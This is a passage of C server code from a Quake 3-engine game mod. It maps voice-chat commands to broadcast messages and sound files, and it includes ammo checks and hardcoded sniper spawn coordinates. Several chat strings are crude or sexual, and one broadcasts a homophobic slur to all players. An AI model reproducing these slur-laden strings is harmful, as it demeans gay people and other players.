MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "boner" ) ){
message = "I got a big fuckin' boner right now!";
Q_strncpyz(index, "sound/player/bigboner.wav", sizeof(index));
MVSAY = qtrue;
//boomheadshottime
}else if ( !Q_stricmp( arg1, "boomheadshot" ) ){
int n = rand()%5; //0-4 - oops nub mistake :) - the else is incase anything else returns, it doesnt crash :)
if (n==0){ //S4NDM4NN - t wont crash it would just make everyone look up at the sky and shit :D
message = "Boom Headshot! Boom Headshot!";
Q_strncpyz(index, "sound/player/boomheadshot1.wav", sizeof(index));
}else if (n==1){
message = "Boom Headshot, yeah!";
Q_strncpyz(index, "sound/player/boomheadshot2.wav", sizeof(index));
}else if (n==2){
message = "Boom Headshot!";
Q_strncpyz(index, "sound/player/boomheadshot3.wav", sizeof(index));
}else if (n==3){
message = "Boom Headshot!";
Q_strncpyz(index, "sound/player/boomheadshot4.wav", sizeof(index));
}else{
message = "Boom Headshot!";
Q_strncpyz(index, "sound/player/boomheadshot5.wav", sizeof(index));
}
MVSAY = qtrue;
//C
}else if ( !Q_stricmp( arg1, "charge" ) ){
message = "Do you have any idea who's in charge of this operation?";
Q_strncpyz(index, "sound/player/charge.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "control" ) ){
message = "This whole operation is out of control!";
Q_strncpyz(index, "sound/player/control.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "comeagain" ) ){
message = "Please come again!";
Q_strncpyz(index, "sound/player/comeagain.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "coveringfire" ) ){
message = "Covering Fire!";
Q_strncpyz(index, "sound/player/covering.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "checkrecon" ) ){
message = "Recon team, check in!";
Q_strncpyz(index, "sound/player/checkrecon.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "clear" ) ){
message = "Clear this area!";
Q_strncpyz(index, "sound/player/clear.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "check" ) ){
message = "Ok, check in!";
Q_strncpyz(index, "sound/player/check.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "command" ) ){
message = "At your command, sir.";
Q_strncpyz(index, "sound/player/command.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "current" ) ){
message = "The current situation is looking pretty grim.";
Q_strncpyz(index, "sound/player/current.wav", sizeof(index));
MVSAY = qtrue;
//D
}else if ( !Q_stricmp( arg1, "dance" ) ){
int n = rand()%2; //0-2
if (n==0){
message = "Its like I can dance all day!";
Q_strncpyz(index, "sound/player/danceallday1.wav", sizeof(index));
}else{
message = "I can dance all day, I can dance all day...";
Q_strncpyz(index, "sound/player/danceallday2.wav", sizeof(index));
}
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "die" ) ){
message = "Die damnit!";
Q_strncpyz(index, "sound/player/a-die.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "didntHurt") ){
message = "Heh, that didnt hurt!";
Q_strncpyz(index, "sound/player/a-didnt-hurt.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "damage" ) ){
message = "Sure, we can do more damage that way!";
Q_strncpyz(index, "sound/player/damage.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "disneyland" ) ){
message = "This place makes bootcamp seem like Disneyland!";
Q_strncpyz(index, "sound/player/disney.wav", sizeof(index));
MVSAY = qtrue;
//E
}else if ( !Q_stricmp( arg1, "Eatshit" ) ){
message = "EAT MY SHIT!";
Q_strncpyz(index, "sound/player/eatmy1.wav", sizeof(index));
MVSAY = qtrue;
//F
}else if ( !Q_stricmp( arg1, "fallback" ) ){
message = "Fallback!";
Q_strncpyz(index, "sound/player/retreat.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "fags" ) ){
message = "Those guys are fags!";
Q_strncpyz(index, "sound/player/fags.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "fatal" ) ){
message = "You just made a fatal mistake!";
Q_strncpyz(index, "sound/player/fatalmis.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "fightclub" ) ){
message = "Gentlemen, welcome to fightclub!";
Q_strncpyz(index, "sound/player/fight.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "freaks" ) ){
message = "Let's kill these freaks!";
Q_strncpyz(index, "sound/player/freaks.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "friendlyfire" ) ){
message = "Friendly Fire!";
Q_strncpyz(index, "sound/player/friendly.wav", sizeof(index));
MVSAY = qtrue;
//G
}else if ( !Q_stricmp( arg1, "gameover" ) ){
message = "That's it man, game over man, its game over.";
Q_strncpyz(index, "sound/player/gameover.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "getsome" ) ){
message = "Get some!";
Q_strncpyz(index, "sound/player/getsome.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "getout" ) ){
message = "How do I get out of this chickety sh*t outfit.";
Q_strncpyz(index, "sound/player/howgetout.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "gotit" ) ){
message = "You got it Corporal I'll be right behind you.";
Q_strncpyz(index, "sound/player/gotit.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "gogogo" ) ){
message = "GO GO GO!";
Q_strncpyz(index, "sound/player/gogogo.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "guardduty" ) ){
message = "Guard duty.";
Q_strncpyz(index, "sound/player/guardduty.wav", sizeof(index));
MVSAY = qtrue;
//H
}else if ( !Q_stricmp( arg1, "hello" ) ){
message = "Sir, hello sir!";
Q_strncpyz(index, "sound/player/hellosir.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "hostiles" ) ){
message = "Squad we got hostiles!";
Q_strncpyz(index, "sound/player/hostiles.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "howmuchlonger" ) ){
message = "Ok guys, uh how much longer are you going to play this?";
Q_strncpyz(index, "sound/player/howmuchlonger.wav", sizeof(index));
MVSAY = qtrue;
//I
}else if ( !Q_stricmp( arg1, "iamownage" ) ){
message = "I am the ownage, bitches!";
Q_strncpyz(index, "sound/player/purepwnage.wav", sizeof(index));
MVSAY = qtrue;
//J
//K
}else if ( !Q_stricmp( arg1, "kickass" ) ){
message = "Were gonna kick your ass!";
Q_strncpyz(index, "sound/player/kickass.wav", sizeof(index));
MVSAY = qtrue;
//L
}else if ( !Q_stricmp( arg1, "lag" ) ){
int n = rand()%2; //0-2
if (n==0){
message = "Oh yeah you fucking like that...";
Q_strncpyz(index, "sound/player/lag1.wav", sizeof(index));
}else{
message = "Fucking lagging piece of shit...";
Q_strncpyz(index, "sound/player/lag2.wav", sizeof(index));
}
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "mletsgo" ) ){
message = "Lets go!";
Q_strncpyz(index, "sound/player/go.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "letsrock" ) ){
message = "Lets rock!";
Q_strncpyz(index, "sound/player/letsrock.wav", sizeof(index));
MVSAY = qtrue;
//M
}else if ( !Q_stricmp( arg1, "mosquitos" ) ){
message = "It's like I'm hearin mosquitos buzzin around my ears!";
Q_strncpyz(index, "sound/player/a-mosquitos.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "MeantToDoThat") ){
message = "I aaaa... Meant to do that!";
Q_strncpyz(index, "sound/player/a-meant.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "marines" ) ){
message = "Lets go Marines!";
Q_strncpyz(index, "sound/player/marines.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "movein" ) ){
message = "Move in!";
Q_strncpyz(index, "sound/player/move.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "movingout" ) ){
message = "Moving out corporal!";
Q_strncpyz(index, "sound/player/moving.wav", sizeof(index));
MVSAY = qtrue;
//N
}else if ( !Q_stricmp( arg1, "nothing" ) ){
message = "You got nothin!";
Q_strncpyz(index, "sound/player/nothing.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "needlight" ) ){
message = "Need a light?";
Q_strncpyz(index, "sound/player/needlight.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "napalm" ) ){
message = "I love the smell of napalm.";
Q_strncpyz(index, "sound/player/smellnapalm.wav", sizeof(index));
MVSAY = qtrue;
//O
}else if ( !Q_stricmp( arg1, "oneshot" ) ){
message = "One shot, one kill!";
Q_strncpyz(index, "sound/player/oneshot.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "onlyone" ) ){
message = "I'm like the only one with skills.";
Q_strncpyz(index, "sound/player/onlyskills.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "ownage" ) ){
message = "Ownage!";
Q_strncpyz(index, "sound/player/a-ownage.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "outofhere" ) ){
message = "Man, if we make it out of here alive...";
Q_strncpyz(index, "sound/player/outof.wav", sizeof(index));
MVSAY = qtrue;
//p
//q
//r
//s
}else if ( !Q_stricmp( arg1, "scream" ) ){
message = "Ahhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!";
Q_strncpyz(index, "sound/player/scream.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "shazbot" ) ){
message = "Shazbot!";
Q_strncpyz(index, "sound/player/a-shazbot.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "seensquad" ) ){
message = "Have you seen any other soldiers from my platoon?";
Q_strncpyz(index, "sound/player/seensquad.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "suckdick" ) ){
message = "Hey, try not to suck any dick on the way from the parking lot!";
Q_strncpyz(index, "sound/player/suck.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "suppressing" ) ){
message = "I need suppressing fire!";
Q_strncpyz(index, "sound/player/suppressing.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "stfu" ) ){
int n = rand()%2; //0-2
if (n==0){
message = "Shut the fuck up!";
Q_strncpyz(index, "sound/player/stfu1.wav", sizeof(index));
MVSAY = qtrue;
}else{
message = "Shut the fuck up!";
Q_strncpyz(index, "sound/player/stfu2.wav", sizeof(index));
MVSAY = qtrue;
}
}else if ( !Q_stricmp( arg1, "stillheadshot" ) ){
message = "I mean my hearts beating...";
Q_strncpyz(index, "sound/player/stillheadshot.wav", sizeof(index));
MVSAY = qtrue;
//T
}else if ( !Q_stricmp( arg1, "tagem" ) ){
message = "I'll tag em, you bag em!";
Q_strncpyz(index, "sound/player/tag.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "takethis" ) ){
message = "Take this!";
Q_strncpyz(index, "sound/player/take.wav", sizeof(index));
MVSAY = qtrue;
//u
//v
//W
}else if ( !Q_stricmp( arg1, "wantsome" ) ){
message = "You want some of me?";
Q_strncpyz(index, "sound/player/wantsome.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "watchfire" ) ){
message = "Watch your fire, sir!";
Q_strncpyz(index, "sound/player/watchfire.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "watchit" ) ){
message = "Watch it corporal!";
Q_strncpyz(index, "sound/player/watchit.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "whatithought" ) ){
message = "That's what I thought!";
Q_strncpyz(index, "sound/player/thatswhatithought.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "wantapiece" ) ){
message = "You want a piece of me, boy?";
Q_strncpyz(index, "sound/player/wantapiece.wav", sizeof(index));
MVSAY = qtrue;
//z
}else if ( !Q_stricmp( arg1, "zone" ) ){
message = "Check your zone!";
Q_strncpyz(index, "sound/player/zone.wav", sizeof(index));
MVSAY = qtrue;
/*///////-------------------------------------------------------------------------
Unreal Tournament/Quake 3 Sounds ////////////////////\\\\\\\\\\\\\\\\\\\\\\\\|
*////////-------------------------------------------------------------------------
/*
}else if ( !Q_stricmp( arg1, "dkill" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Double kill!");
Q_strncpyz(index, "sound/player/doublekill.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "combo" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Combo Whore!");
Q_strncpyz(index, "sound/player/combowhore.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "dominating") ){
G_Say(ent, NULL, SAY_ALL, "^2DOMINATING");
Q_strncpyz(index, "sound/player/dominating.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "excellent" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Excellent!");
Q_strncpyz(index, "sound/player/excellent.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "fblood" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Firstblood!");
Q_strncpyz(index, "sound/player/firstblood.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "flawless" ) ){
trap_SendServerCommand( -1, va("chat \"console: ^2Flawless Victory^7!\n\""));
Q_strncpyz(index, "sound/player/flawlessvic.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "god" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Godlike!");
Q_strncpyz(index, "sound/player/godlike.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "hat" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Hat Trick!");
Q_strncpyz(index, "sound/player/hattrick.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "hhunter" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Head Hunter!");
Q_strncpyz(index, "sound/player/headhunter.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "hshot") ) {
G_Say(ent, NULL, SAY_ALL, "^2Headshot!");
Q_strncpyz(index, "sound/player/headshot.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "humiliation" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Humiliation!");
Q_strncpyz(index, "sound/player/humiliation.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "humiliating" ) ){
trap_SendServerCommand( -1, va("chat \"console: ^2Humiliating ^1DEFEAT^7!\n\""));
Q_strncpyz(index, "sound/player/humiliation_defeat.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "hshit" ) ){
G_Say(ent, NULL, SAY_ALL, "^1HOLY SHIT!!!");
Q_strncpyz(index, "sound/player/holyshit.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "impressive" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Impressive!");
Q_strncpyz(index, "sound/player/impressive.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "kspree" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Killing Spree!");
Q_strncpyz(index, "sound/player/killingspree.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "ludicrous" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Llllludicrous KILL!");
Q_strncpyz(index, "sound/player/ludicrouskill.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "mekill" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Mega kill!");
Q_strncpyz(index, "sound/player/megakill.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "mokill" ) ){
G_Say(ent, NULL, SAY_ALL, "^2MMMMMONSTER KILL!");
Q_strncpyz(index, "sound/player/monsterkill.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "mukill" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Multikill!");
Q_strncpyz(index, "sound/player/multikill.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "play" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Play!");
Q_strncpyz(index, "sound/player/play.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "rampage" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Rampage!");
Q_strncpyz(index, "sound/player/rampage.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "reset" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Reset!");
Q_strncpyz(index, "sound/player/reset.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "score" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Score!");
Q_strncpyz(index, "sound/player/score.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "skiller" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Spawnkiller!");
Q_strncpyz(index, "sound/player/spawnkiller.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "tkiller" ) ){
G_Say(ent, NULL, SAY_ALL, "^1Teamkiller!");
Q_strncpyz(index, "sound/player/teamkiller.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "tkill" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Tripple Kill!");
Q_strncpyz(index, "sound/player/tripplekill.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "ukill" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Ultra Kill!");
Q_strncpyz(index, "sound/player/ultrakill.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "unreal" ) ){
G_Say(ent, NULL, SAY_ALL, "^2UnReal!");
Q_strncpyz(index, "sound/player/unreal.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "unstoppable" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Unstoppable!");
Q_strncpyz(index, "sound/player/unstoppable.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "wicked" ) ){
G_Say(ent, NULL, SAY_ALL, "^2Wicked Sick");
Q_strncpyz(index, "sound/player/whickedsick.wav", sizeof(index));
MVSAY = qtrue;
*/
/*////////--------------------------------------------------------------------
END UNREAL/QUAKE SOUNDS THESE ARE NOW SERVER-ONLY!!!
///////---------------------------------------------------------------------
//////
BEGIN ADMIN ONLY SOUNDS
*///////
}else if ( !Q_stricmp( arg1, "adminmsg" ) ){
trap_SendServerCommand( -1, va("chat \"console: Message from administration:\n\""));
Q_strncpyz(index, "sound/player/adminmessage.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "authority" ) ){
message = "Don't confuse your rank with my authority, corporal!";
Q_strncpyz(index, "sound/player/athority.wav", sizeof(index));
MVSAY = qtrue;
/*}else if ( !Q_stricmp( arg1, "bw" ) ){ //ONLY FOR TK WARNING
G_Say(ent, NULL, SAY_ALL, "^2");
Q_strncpyz(index, "sound/player/buzzwarn.wav", sizeof(index));
*/MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "tfc" ) ){
message = "";
Q_strncpyz(index, "sound/player/(tfc) endgame.wav", sizeof(index));
MVSAY = qtrue;
//WOLF MP SOUNDS!!
}else if (g_gamestate.integer != GS_PLAYING){
if ( !Q_stricmp( arg1, "daloop1") ){
message = "Cool Tunes...";
Q_strncpyz(index, "sound/player/daloop1.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "Matrix" ) ){
message = "";
Q_strncpyz(index, "sound/player/Matrix.wav", sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "daloop2") ){
message = "Cool Tunes...";
Q_strncpyz(index, "sound/player/daloop2.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "daloop3") ){
message = "Cool Tunes...";
Q_strncpyz(index, "sound/player/daloop3.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "daloop4") ){
message = "Cool Tunes...";
Q_strncpyz(index, "sound/player/daloop4.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "daloop5") ){
message = "Cool Tunes...";
Q_strncpyz(index, "sound/player/daloop5.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "daloop6") ){
message = "Cool Tunes...";
Q_strncpyz(index, "sound/player/daloop6.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "daloop7") ){
message = "Cool Tunes...";
Q_strncpyz(index, "sound/player/daloop7.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "daloop8") ){
message = "Cool Tunes...";
Q_strncpyz(index, "sound/player/daloop8.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "daloop9") ){
message = "Cool Tunes...";
Q_strncpyz(index, "sound/player/daloop9.wav",sizeof(index));
MVSAY = qtrue;
//Songs:
}else if ( !Q_stricmp( arg1, "lljon") ){
message = "Damn She's Fine!";
Q_strncpyz(index, "sound/player/admin1.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "mwelcome") ){
message = "Welcome to the jungle";
Q_strncpyz(index, "sound/player/admin2.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "woohoo") ){
message = "Woo Hoo!";
Q_strncpyz(index, "sound/player/admin3.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "halo") ){
message = "Why do we have to listen to this old stuff sarge?";
Q_strncpyz(index, "sound/player/admin4.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "thegame") ){
message = "Play again?";
Q_strncpyz(index, "sound/player/admin5.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "hitground") ){
message = "Hit the Ground";
Q_strncpyz(index, "sound/player/admin6.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "clickboom") ){
message = "Click Click BOOM!";
Q_strncpyz(index, "sound/player/admin7.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "werdy") ){
message = "We Ready";
Q_strncpyz(index, "sound/player/admin8.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "irnmn") ){
message = "";
Q_strncpyz(index, "sound/player/admin9.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "lftbhnd") ){
message = "We all got left behind";
Q_strncpyz(index, "sound/player/admin10.wav",sizeof(index));
MVSAY = qtrue;
}else if ( !Q_stricmp( arg1, "trnsfrm") ){
message = "Ya won't last that long.";
Q_strncpyz(index, "sound/player/admin11.wav",sizeof(index));
MVSAY = qtrue;
}
}
//END WARMUP-ONLY
if(MVSAY){
if (ent->client->sess.sessionTeam == TEAM_RED){
G_TeamCommand( TEAM_RED, va("chat \"%.99s ^3(%s): ^2%s\"", ent->client->pers.netname, ent->client->pers.location, message) );
G_TeamCommand( TEAM_BLUE, va("chat \"%.99s ^3(unknown): ^2%s\"", ent->client->pers.netname, message) );
G_TeamCommand( TEAM_SPECTATOR, va("chat \"%.99s ^3(unknown): ^2%s\"", ent->client->pers.netname, message) );
}else if (ent->client->sess.sessionTeam == TEAM_BLUE){
G_TeamCommand( TEAM_BLUE, va("chat \"%.99s ^3(%s): ^2%s\"", ent->client->pers.netname, ent->client->pers.location, message) );
G_TeamCommand( TEAM_RED, va("chat \"%.99s ^3(unknown): ^2%s\"", ent->client->pers.netname, message) );
G_TeamCommand( TEAM_SPECTATOR, va("chat \"%.99s ^3(unknown): ^2%s\"", ent->client->pers.netname, message) );
}else{
G_TeamCommand( TEAM_RED, va("chat \"%.99s ^3(unknown): ^2%s\"", ent->client->pers.netname, message) );
G_TeamCommand( TEAM_BLUE, va("chat \"%.99s ^3(unknown): ^2%s\"", ent->client->pers.netname, message) );
G_TeamCommand( TEAM_SPECTATOR, va("chat \"%.99s ^3(unknown): ^2%s\"", ent->client->pers.netname, message) );
}
for(i=0; i<MAX_CLIENTS; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
other = &g_entities[i];
te = G_TempEntity( other->s.pos.trBase, EV_GLOBAL_CLIENT_SOUND );
te->s.eventParm = G_SoundIndex (index);
te->s.teamNum = other->s.clientNum;
}
}
return qfalse;
}
int countmines(int team)
{
gentity_t *ent;
int count=0;
int i;
for (i=0;i<MAX_GENTITIES;i++)
{
ent = &g_entities[i];
if (!ent->inuse)
continue;
if( !ent->clipmask || !ent->r.contents)
continue;
if(!ent->parent || !ent->parent->client || !ent)
continue;
if(ent->parent->client->sess.sessionTeam != team)
continue;
if(ent->methodOfDeath == MOD_LANDMINE)
count++;
}
return count;
}
/*
================
findradius
================
*/
gentity_t *findradius (gentity_t *ent, vec3_t org, float rad) {
vec3_t eorg;
int j;
if (!ent)
ent = g_entities;
else
ent++;
for (; ent < &g_entities[level.num_entities]; ent++)
{
if (!ent->inuse)
continue;
for (j=0; j<3; j++)
eorg[j] = org[j] - (ent->r.currentOrigin[j] +
(ent->r.mins[j] + ent->r.maxs[j])*0.5);
if (VectorLength(eorg) > rad)
continue;
return ent;
}
return NULL;
}
/*
================
CheckAmmo
================
*/
qboolean CheckAmmo(gentity_t *ent)
{
int nades, weapon, i;
int numClips;
if (!g_pickupAmmo.integer)
return qtrue;
switch (ent->client->ps.stats[STAT_PLAYER_CLASS])
{
case PC_ENGINEER:
nades = g_engNades.integer;
break;
case PC_SOLDIER:
nades = g_soldNades.integer;
break;
case PC_LT:
nades = g_ltNades.integer;
break;
case PC_MEDIC:
nades = g_medNades.integer;
break;
default:
nades = 1;
break;
}
if (ent->client->sess.sessionTeam == TEAM_RED)
weapon = WP_GRENADE_LAUNCHER;
else
weapon = WP_GRENADE_PINEAPPLE;
if (ent->client->ps.ammoclip[BG_FindClipForWeapon(weapon)] < nades)
return qtrue;
if (g_ammoGivesSyringe.integer)
{
if (ent->client->ps.stats[STAT_PLAYER_CLASS] == PC_MEDIC)
{
if (ent->client->ps.ammoclip[BG_FindClipForWeapon(WP_MEDIC_SYRINGE)] < 10)
return qtrue;
}
}
if (g_throwableKnives.integer && g_ammoGivesKnife.integer)
{
if ((ent->client->pers.throwingKnives < g_maxKnives.integer) || (g_maxKnives.integer == 0))
return qtrue;
}
if(g_ammoGivesBinocs.integer)
ent->client->ps.stats[STAT_KEYS] |= ( 1 << INV_BINOCS );
if (g_ammoGivesHelmet.integer)
{
if (ent->client->ps.eFlags & EF_HEADSHOT)
return qtrue;
}
//check pistols
if (ent->client->sess.sessionTeam == TEAM_RED)
weapon = WP_LUGER;
else
weapon = WP_COLT;
if (ent->client->ps.ammo[BG_FindAmmoForWeapon(weapon)] < ammoTable[weapon].maxclip*4)
return qtrue;
for (i = 0; i < MAX_WEAPS_IN_BANK_MP; i++)
{
weapon = weapBanksMultiPlayer[3][i];
if (COM_BitCheck(ent->client->ps.weapons, weapon))
{
if (weapon == WP_FLAMETHROWER)
{
if (ent->client->ps.ammoclip[BG_FindAmmoForWeapon(weapon)] < ammoTable[weapon].maxclip)
return qtrue;
}
numClips = 3;
if (ent->client->ps.ammo[BG_FindAmmoForWeapon(weapon)] < ammoTable[weapon].maxclip*numClips)
return qtrue;
}
}
return qfalse;
}
/*
=======================
SniperModeCustomSpawns
========================
*/
void SniperModeCustomSpawns(gentity_t *ent, vec3_t spawn_origin, vec3_t spawn_angles){
vec3_t deathmatchangles, deathmatchspawn;
char mapName[MAX_QPATH];
if (ent->client->sess.sessionTeam == TEAM_SPECTATOR)
return;
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
deathmatchangles[0]=0;
deathmatchangles[2]=0;//i think this will fix the upsidedown heads
//allies spawns!...who wrote this??
if(ent->client->sess.sessionTeam == TEAM_RED){
level.RedSniperSpawnPoint++;//add 1 every time its called
if (!Q_stricmp(mapName, "baseout")){
if(level.RedSniperSpawnPoint == 0){
deathmatchspawn[0]= 1120;
deathmatchspawn[1]= -307;
deathmatchspawn[2]= 348;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 1){
deathmatchspawn[0]= 1055;
deathmatchspawn[1]= -307;
deathmatchspawn[2]= 348;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 2){
deathmatchspawn[0]= 994;
deathmatchspawn[1]= -307;
deathmatchspawn[2]= 348;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 3){
deathmatchspawn[0]= 924;
deathmatchspawn[1]= -307;
deathmatchspawn[2]= 348;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 4){
deathmatchspawn[0]= 864;
deathmatchspawn[1]= -307;
deathmatchspawn[2]= 348;
deathmatchangles[1]= 90;
}else if(level.RedSniperSpawnPoint == 5){
deathmatchspawn[0]= 802;
deathmatchspawn[1]= -307;
deathmatchspawn[2]= 348;
